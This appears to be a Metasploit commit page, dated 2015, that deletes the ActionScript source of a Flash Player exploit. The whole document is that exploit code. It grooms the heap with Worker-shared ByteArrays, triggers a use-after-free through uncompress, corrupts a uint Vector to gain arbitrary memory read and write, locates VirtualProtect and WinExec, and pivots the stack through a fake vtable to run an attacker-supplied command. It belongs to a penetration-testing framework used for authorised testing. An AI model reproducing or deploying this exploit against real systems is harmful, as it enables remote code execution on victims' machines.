Delete old AS

bug/bundler_fix
jvazquez-r7 2015-06-09 14:50:59 -05:00
parent a39539f8ef
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// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package
{
import flash.utils.*
import flash.display.*
import flash.system.*
import mx.utils.Base64Decoder
public final class Msf extends Sprite {
private var shared_ba:ByteArray = null
private var hole_ba:ByteArray = null;
private var confuse_length_ba:ByteArray = null;
private var fake_ba:ByteArray = null;
private var worker:Worker = null;
private var byte_array_vector:Vector.<Object> = null;
private var byte_array_vector_length:int;
private var object_vector:Vector.<Object> = null;
private var object_vector_length:uint;
private var ba:ByteArray
private var uv:Vector.<uint>
private var corrupted_uv_index:uint = 0
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder();
private var payload:String = ""
public function Msf() {
this.object_vector_length = 5770 * 2
this.byte_array_vector_length = 510 * 2
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
this.initialize_worker_and_ba()
if (!this.trigger())
{
return
}
var index:uint = search_uint_vector(114, 0x40000000)
if (index == 0xffffffff) {
return
}
this.uv = this.object_vector[this.corrupted_uv_index]
// Use the corrupted Vector<uint> to search saved addresses
var object_vector_pos:uint = search_object_vector()
var byte_array_object:uint = this.uv[object_vector_pos] - 1
var main:uint = this.uv[object_vector_pos + 2] - 1
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
// Locate the corrupted Vector<uint> in memory
// It allows arbitrary address memory read/write
var ba_address:uint = search_ba_address()
if (ba_address == 0xffffffff) {
return
}
var uv_address:uint = ba_address + index
this.uv[0] = uv_address
// Use the corrupted Vector<uint> to disclose arbitrary memory
var buffer_object:uint = vector_read(byte_array_object + 0x40)
var buffer:uint = vector_read(buffer_object + 8)
var stack_address:uint = vector_read(stack_object + 0x18)
var payload_address:uint = vector_read(payload_space_object + 0x18)
var vtable:uint = vector_read(main)
// Set the new ByteArray length
ba.endian = "littleEndian"
ba.length = 0x500000
// Overwite the ByteArray data pointer and capacity
var ba_array:uint = buffer_object + 8
var ba_capacity:uint = buffer_object + 16
vector_write(ba_array)
vector_write(ba_capacity, 0xffffffff)
// restoring the corrupted vector length since we don't need it
// anymore
this.uv[0] = 0xfeedbabe
//index = search_uint_vector(0xffffffff, 114)
index = search_uint_vector(0x40000000, 114)
if (index == 0xffffffff) {
return
}
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
final private function initialize_worker_and_ba():Boolean{
this.ba = new ByteArray()
this.ba.endian = "littleEndian"
this.ba.length = 1024
this.ba.writeUnsignedInt(0xdeedbeef)
this.ba.position = 0
this.shared_ba = new ByteArray()
this.shared_ba.shareable = true
this.shared_ba.endian = Endian.LITTLE_ENDIAN
this.shared_ba.writeUnsignedInt(252536)
this.shared_ba.writeUnsignedInt(16777216)
this.confuse_length_ba = new ByteArray()
this.confuse_length_ba.length = 0x2000
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
this.fake_ba = new ByteArray();
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
return true;
}
final private function trigger():Boolean{
// Memory massaging
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
this.fill_byte_array_vector();
// 2. Clear the marked ByteArray
this.hole_ba.clear();
// The shared_ba should be left in "shared" state
this.worker.setSharedProperty("fnfre", this.shared_ba)
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
this.worker.setSharedProperty("vfhrth", this.shared_ba)
// fake_ba *data* is going to fill the space freed from the hole
this.fake_ba.length = 0x2000;
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
// Trigger the vulnerability, if the memory layout is good enough
// the (freed) hole_ba metadata will end being the shared_ba metadata...
this.shared_ba.uncompress()
// So its size should be 0x2000
if (this.shared_ba.length != 0x2000)
{
return false
}
// Free the fake_ba and make holes on the ByteArray's
// allocated on massaging.
this.free_fake_and_make_holes()
// Fill the holes and the fake_ba data space with
// <uint> vectors
this.fill_with_vectors()
// Hopefully the shared_ba metadata, product of the vulnerability
// at this moment point to the <uint> vectors in memory =) it means
// game over.
var pwn_test:uint;
this.shared_ba.position = 0;
pwn_test = this.shared_ba.readUnsignedInt();
if (pwn_test == 0xBBBBBBBB)
{
return false
}
return true;
}
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
var i:int;
local_ba.position = 0;
i = 0;
while (i < (local_ba.length / 4))
{
local_ba.writeInt(value);
i++;
};
local_ba.position = 0;
}
final private function fill_byte_array_vector():void{
var i:int;
var local_ba:ByteArray;
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
i = 0;
while (i < this.byte_array_vector_length)
{
local_ba = new ByteArray();
this.byte_array_vector[i] = local_ba;
local_ba.endian = Endian.LITTLE_ENDIAN;
i++;
}
var hole_index:int = this.byte_array_vector_length * 4 / 5;
if (hole_index % 2 == 0)
{
hole_index++;
}
for(i = 0; i < this.byte_array_vector_length; i++)
{
local_ba = this.byte_array_vector[i] as ByteArray
local_ba.length = 0x2000
this.fill_byte_array(local_ba, 0xCCCCCCCC)
local_ba.writeInt(0xbabefac0)
local_ba.writeInt(0xbabefac1)
local_ba.writeInt(i)
local_ba.writeInt(0xbabefac3)
if (i == hole_index)
{
this.hole_ba = local_ba;
}
}
return;
}
final private function free_fake_and_make_holes():void {
var i:int
var clear_ba:ByteArray
var hole_index:int = this.byte_array_vector_length * 4 / 5
if (hole_index % 2 == 0)
{
hole_index++;
}
for (i = 0; i < this.byte_array_vector_length; i++)
{
if (i == hole_index) {
this.fake_ba.clear();
} else {
if (i % 2 == 1)
{
clear_ba = this.byte_array_vector[i] as ByteArray
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
clear_ba.clear()
}
}
}
return
}
final private function fill_with_vectors():void {
var i:uint;
var uint_vector:Vector.<uint>;
var objects:Vector.<Object>;
this.object_vector = new Vector.<Object>(this.object_vector_length);
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
this.object_vector[i] = new Vector.<uint>()
} else {
this.object_vector[i] = new Vector.<Object>()
}
i++
}
i = 0
while (i < this.object_vector_length)
{
if (i % 2 == 0) {
uint_vector = this.object_vector[i] as Vector.<uint>
uint_vector.length = 114
uint_vector[0] = 0xfeedbabe
uint_vector[1] = i
uint_vector[2] = 0xbabeface
} else {
objects = this.object_vector[i] as Vector.<Object>
objects.length = 114
objects[0] = this.ba
objects[1] = i
objects[2] = this
objects[3] = this.stack
objects[4] = this.payload_space
}
i++
}
}
// Use the corrupted shared_ba to search and corrupt the uint vector
// Returns the offset to the *length* of the corrupted vector
private function search_uint_vector(old_length:uint, new_length:uint):uint {
this.shared_ba.position = 0
var i:uint = 0
var length:uint = 0
var atom:uint = 0
var mark_one:uint = 0
var index:uint = 0
var mark_two:uint = 0
while (i < 0x2000) {
length = shared_ba.readUnsignedInt()
if (length == old_length) {
atom = shared_ba.readUnsignedInt()
mark_one = shared_ba.readUnsignedInt()
index = shared_ba.readUnsignedInt()
mark_two = shared_ba.readUnsignedInt()
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
shared_ba.position = i
shared_ba.writeUnsignedInt(new_length)
this.corrupted_uv_index = index
return i;
}
i = i + 16
}
i = i + 4
}
return 0xffffffff
}
// Use the corrupted shared_ba to disclose its own address
private function search_ba_address():uint {
var address:uint = 0
this.shared_ba.position = 0x14
address = shared_ba.readUnsignedInt()
if (address == 0) {
address = 0xffffffff
this.shared_ba.position = 8
var next:uint = shared_ba.readUnsignedInt()
var prior:uint = shared_ba.readUnsignedInt()
if (next - prior == 0x8000) {
address = prior + 0x4000
}
} else {
address = address - 0x30
}
return address
}
// Use the corrupted uint vector to search an vector with
// interesting objects for info leaking
private function search_object_vector():uint {
var i:uint = 0;
while (i < 0x4000){
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
return i + 1;
}
i++
}
return 0xffffffff
}
// Methods to use the corrupted uint vector
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
this.uv[pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > this.uv[0]) {
pos = ((addr - this.uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
}
return this.uv[pos]
}
// Methods to use the corrupted byte array for arbitrary reading/writing
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
// Methods to search the memory with the corrupted byte array
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
var i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
if (dll_name == name.toUpperCase()) {
break;
}
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}